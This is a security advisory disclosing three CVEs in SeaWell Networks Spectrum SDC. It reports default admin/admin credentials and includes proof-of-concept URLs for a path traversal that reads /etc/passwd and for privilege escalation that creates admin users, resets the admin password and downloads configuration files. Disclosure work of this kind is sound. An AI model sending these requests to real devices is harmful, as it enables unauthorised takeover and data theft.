# Exploit Title: [SeaWell Networks Spectrum - Multiple Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.seawellnetworks.com/spectrum/]
# Versions Reported: [Spectrum SDC 02.05.00, Build 02.05.00.0016]
  
CVE-ID:
CVE-2015-8282
CVE-2015-8283
CVE-2015-8284
 
About SeaWell Networks Spectrum
 
Session Delivery Control
 
SeaWell set out to improve the way operators control, monetize and scale their IP video offerings, to meet the growing subscriber demands for video delivered to smartphones, tablets and game consoles.
 
The result – Spectrum – is what we call a “Multiscreen 2.0” Session Delivery Controller.
 
Spectrum is high-performance, carrier-grade software that takes ABR video and repackages it – on-the-fly – into any other protocol, including Apple HLS, Adobe HDS, Microsoft Smooth Streaming and MPEG-DASH.
 
http://www.seawellnetworks.com/spectrum/
 
Affected version
Spectrum SDC 02.05.00
Build 02.05.00.0016
Copyright (c) 2015 SeaWell Networks Inc.
 
A. CWE-255: Credentials Management
CVE-2015-8282
 
Weak, default login credentials - admin / admin
 
B. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CVE-2015-8283
 
The configure_manage.php module accepts a file parameter which takes an unrestricted file path as input, allowing an attacker (non-admin, low- privileged user) to read arbitrary files on the system.
 
PoC:
 
https://IP/configure_manage.php?action=download_config&file=../../../../../../../../../etc/passwd
 
C. CWE-285: Improper Authorization
CVE-2015-8284
 
A low privileged, non-admin user, with only viewer privileges, can perform administrative functions, such as create, update, delete a user (including admin user), or access device's configuration files (policy.xml, cookie_config.xml, systemCfg.xml). The application lacks Authorization controls to restrict any non-admin users from performing admin functions.
 
The application users can have admin or viewer privilege levels. Admin has full access to the device. Viewer has access to very restricted functions.
 
It is possible for a viewer priv user to perform admin functions.
 
PoC:
 
Add new user [Admin function only]
 
GET /system_manage.php?username=viewer&password=viewer&password=viewer&userlevel=1&action=add_user&ekey=&LActiveRow= HTTP/1.1
 
https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=
 
Here
 
admin -> userlevel=9
viewer -> userlevel=1
 
Create new user with Admin privs
Log in as viewer - try create new admin user - viewer1
 
https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=
 
<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
 
Delete user
 
https://IP/system_manage.php?username=viewer1&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4
 
Modify existing user (including admin)
log in as viewer - try change system (admin) user
 
https://IP/system_manage.php?username=system&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4
 
<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
 
Change Admin password
log in as viewer - try change admin pass
 
https://IP/system_manage.php?username=admin&password=admin1&password=admin1&userlevel=9&action=update_user&ekey=3&LActiveRow=sys_Luser_3
 
<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
 
Downloading configuration xml files
 
viewer priv user has no access/option to config xmls via GUI. It is possible to download the configs by calling the url directly
 
Access policy config xml
https://IP/configure_manage.php?action=download_config&file=policy.xml
 
Access cookie config xml
https://IP/configure_manage.php?action=download_config&file=cookie_config.xml
 
Access system config xml
https://IP/configure_manage.php?action=download_config&file=systemCfg.xml
 
+++++
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Best Regards,
Karn Ganeshen